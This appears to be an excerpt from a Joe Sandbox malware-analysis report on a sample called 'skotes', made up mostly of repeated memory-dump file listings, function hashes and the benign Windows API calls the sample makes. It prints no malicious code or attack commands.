Associated: 00000006.00000002.3273779761.0000000000D82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273845116.0000000000D84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273932048.0000000000D8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274015672.0000000000D95000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274136316.0000000000DAE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274232887.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274311348.0000000000DD5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274387493.0000000000DDD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274456849.0000000000DDE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274524646.0000000000DE3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274580270.0000000000DEB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274634906.0000000000DF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274698170.0000000000DF1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274759398.0000000000DF4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274837924.0000000000DFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274905763.0000000000DFD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274975914.0000000000E09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275046138.0000000000E0A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275101670.0000000000E0B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275171851.0000000000E0F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275240923.0000000000E10000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275308043.0000000000E15000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275365436.0000000000E1D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275416595.0000000000E20000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275496281.0000000000E3D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E5E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683394.0000000000E8C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275736023.0000000000E8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275798877.0000000000E8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275856918.0000000000E93000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275948191.0000000000E95000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276033032.0000000000EA3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276099662.0000000000EA4000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: fc3cb9c2788bc86be782ed5e844b533ab95cbcb9bc1995e2ea80b8803729cd7c
Instruction ID: 504f1102e2d355bfe526554e65421a1ff6abd5248b2fdf8ca9716e313c24929b
Opcode Fuzzy Hash: fc3cb9c2788bc86be782ed5e844b533ab95cbcb9bc1995e2ea80b8803729cd7c
Instruction Fuzzy Hash: FB315D316051449BFB08EB7CCCC976DBBF2DF85314F2442AAE014A72E5D7759980D752

Function 00B8A7B7 Relevance: 4.6, APIs: 3, Instructions: 130sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00B8A7BA
Sleep.KERNEL32(00000064,?), ref: 00B8A963
CreateMutexA.KERNEL32(00000000,00000000,00BE3254), ref: 00B8A981

Memory Dump Source

Source File: 00000006.00000002.3272314295.0000000000B81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3272216987.0000000000B80000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272314295.0000000000BE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272564587.0000000000BE9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272633911.0000000000BEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272723837.0000000000BF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272800249.0000000000BF6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272889252.0000000000BF7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273286563.0000000000D52000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273336495.0000000000D55000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273403481.0000000000D6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273475479.0000000000D6E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D6F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D7B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273650659.0000000000D80000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273715351.0000000000D81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273779761.0000000000D82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273845116.0000000000D84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273932048.0000000000D8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274015672.0000000000D95000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274136316.0000000000DAE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274232887.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274311348.0000000000DD5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274387493.0000000000DDD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274456849.0000000000DDE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274524646.0000000000DE3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274580270.0000000000DEB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274634906.0000000000DF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274698170.0000000000DF1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274759398.0000000000DF4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274837924.0000000000DFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274905763.0000000000DFD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274975914.0000000000E09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275046138.0000000000E0A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275101670.0000000000E0B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275171851.0000000000E0F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275240923.0000000000E10000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275308043.0000000000E15000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275365436.0000000000E1D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275416595.0000000000E20000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275496281.0000000000E3D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E5E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683394.0000000000E8C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275736023.0000000000E8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275798877.0000000000E8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275856918.0000000000E93000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275948191.0000000000E95000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276033032.0000000000EA3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276099662.0000000000EA4000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 9816caf14d89ada2ae863bda779d9c2f873b60555d9536299d15dbf77383ea61
Instruction ID: cc74bf7b04bb3b1e2546ca8c8afdfb179784185f0013f5aded0c6927d5464f19
Opcode Fuzzy Hash: 9816caf14d89ada2ae863bda779d9c2f873b60555d9536299d15dbf77383ea61
Instruction Fuzzy Hash: 79314A31A051049BFB08EB7CCDC9B6DB7E2DF85314F2442AAE114A72E1D7359981C762

Function 00BB6E4C Relevance: 3.1, APIs: 2, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3272314295.0000000000B81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3272216987.0000000000B80000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272314295.0000000000BE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272564587.0000000000BE9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272633911.0000000000BEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272723837.0000000000BF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272800249.0000000000BF6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272889252.0000000000BF7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273286563.0000000000D52000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273336495.0000000000D55000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273403481.0000000000D6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273475479.0000000000D6E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D6F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D7B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273650659.0000000000D80000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273715351.0000000000D81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273779761.0000000000D82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273845116.0000000000D84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273932048.0000000000D8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274015672.0000000000D95000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274136316.0000000000DAE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274232887.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274311348.0000000000DD5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274387493.0000000000DDD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274456849.0000000000DDE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274524646.0000000000DE3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274580270.0000000000DEB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274634906.0000000000DF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274698170.0000000000DF1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274759398.0000000000DF4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274837924.0000000000DFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274905763.0000000000DFD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274975914.0000000000E09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275046138.0000000000E0A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275101670.0000000000E0B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275171851.0000000000E0F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275240923.0000000000E10000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275308043.0000000000E15000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275365436.0000000000E1D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275416595.0000000000E20000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275496281.0000000000E3D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E5E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683394.0000000000E8C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275736023.0000000000E8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275798877.0000000000E8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275856918.0000000000E93000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275948191.0000000000E95000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276033032.0000000000EA3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276099662.0000000000EA4000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: efa6f218c3aa547f8a3eda8bf74dc575f43a7c58da7313e335c8f7d29efc50c4
Instruction ID: e1517033a2329fd20cd9fc81c49aa0fb40e6dd0bde5109acc61c4356511b98bb
Opcode Fuzzy Hash: efa6f218c3aa547f8a3eda8bf74dc575f43a7c58da7313e335c8f7d29efc50c4
Instruction Fuzzy Hash: D621B6729051086BEB217B68DC42FFF37A9EF41378F140295F9242B1D1DBF49E0596A1

Function 00B8A960 Relevance: 3.0, APIs: 2, Instructions: 43sleepsynchronizationCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000064,?), ref: 00B8A963
CreateMutexA.KERNEL32(00000000,00000000,00BE3254), ref: 00B8A981

Memory Dump Source

Source File: 00000006.00000002.3272314295.0000000000B81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3272216987.0000000000B80000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272314295.0000000000BE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272564587.0000000000BE9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272633911.0000000000BEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272723837.0000000000BF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272800249.0000000000BF6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272889252.0000000000BF7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273286563.0000000000D52000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273336495.0000000000D55000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273403481.0000000000D6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273475479.0000000000D6E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D6F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D7B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273650659.0000000000D80000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273715351.0000000000D81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273779761.0000000000D82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273845116.0000000000D84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273932048.0000000000D8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274015672.0000000000D95000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274136316.0000000000DAE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274232887.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274311348.0000000000DD5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274387493.0000000000DDD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274456849.0000000000DDE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274524646.0000000000DE3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274580270.0000000000DEB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274634906.0000000000DF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274698170.0000000000DF1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274759398.0000000000DF4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274837924.0000000000DFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274905763.0000000000DFD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274975914.0000000000E09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275046138.0000000000E0A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275101670.0000000000E0B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275171851.0000000000E0F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275240923.0000000000E10000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275308043.0000000000E15000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275365436.0000000000E1D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275416595.0000000000E20000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275496281.0000000000E3D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E5E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683394.0000000000E8C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275736023.0000000000E8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275798877.0000000000E8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275856918.0000000000E93000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275948191.0000000000E95000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276033032.0000000000EA3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276099662.0000000000EA4000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: e0a97133fe7a480d66b6e35d123b63aac7a922477316101a3be64bafe412054a
Instruction ID: 5185df60ea6684f4f00b58dc67ef033e29132d2928c4ee381d9660000644f086
Opcode Fuzzy Hash: e0a97133fe7a480d66b6e35d123b63aac7a922477316101a3be64bafe412054a
Instruction Fuzzy Hash: 16E0CD1169E340A9F61033AE5C8DB3D63D6CBD5B08F210575E714DB0E0CA64A940D7B3

Function 00B96D00 Relevance: 3.0, APIs: 2, Instructions: 14sleepthreadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,00000000,Function_00016C70,00000000,00000000,00000000), ref: 00B96D11
Sleep.KERNEL32(00007530), ref: 00B96D25

Memory Dump Source

Source File: 00000006.00000002.3272314295.0000000000B81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3272216987.0000000000B80000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272314295.0000000000BE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272564587.0000000000BE9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272633911.0000000000BEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272723837.0000000000BF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272800249.0000000000BF6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272889252.0000000000BF7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273286563.0000000000D52000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273336495.0000000000D55000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273403481.0000000000D6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273475479.0000000000D6E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D6F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D7B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273650659.0000000000D80000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273715351.0000000000D81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273779761.0000000000D82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273845116.0000000000D84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273932048.0000000000D8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274015672.0000000000D95000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274136316.0000000000DAE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274232887.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274311348.0000000000DD5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274387493.0000000000DDD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274456849.0000000000DDE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274524646.0000000000DE3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274580270.0000000000DEB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274634906.0000000000DF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274698170.0000000000DF1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274759398.0000000000DF4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274837924.0000000000DFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274905763.0000000000DFD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274975914.0000000000E09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275046138.0000000000E0A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275101670.0000000000E0B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275171851.0000000000E0F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275240923.0000000000E10000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275308043.0000000000E15000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275365436.0000000000E1D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275416595.0000000000E20000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275496281.0000000000E3D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E5E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683394.0000000000E8C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275736023.0000000000E8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275798877.0000000000E8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275856918.0000000000E93000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275948191.0000000000E95000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276033032.0000000000EA3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276099662.0000000000EA4000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: CreateSleepThread
String ID:
API String ID: 4202482776-0
Opcode ID: b0959b910394664662d17d39c2eec73bb2a2deca56ebb84244e044a3d5525883
Instruction ID: 435e5c56df2cf3a57a4d252c2e6331b3a437212441f15a5e47bd7d966d5dafee
Opcode Fuzzy Hash: b0959b910394664662d17d39c2eec73bb2a2deca56ebb84244e044a3d5525883
Instruction Fuzzy Hash: C5D08C307D5318B6FA2013202C0BF66EB60DB0AF81F2408A073083F0E086E0300047D8

Function 00B88380 Relevance: 1.7, APIs: 1, Instructions: 159COMMON

Download Yara Rule

APIs

GetNativeSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00B88524

Memory Dump Source

Source File: 00000006.00000002.3272314295.0000000000B81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3272216987.0000000000B80000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272314295.0000000000BE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272564587.0000000000BE9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272633911.0000000000BEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272723837.0000000000BF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272800249.0000000000BF6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272889252.0000000000BF7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273286563.0000000000D52000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273336495.0000000000D55000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273403481.0000000000D6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273475479.0000000000D6E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D6F000.00000040.00000001.01000000.00000008.sdmpDownload File
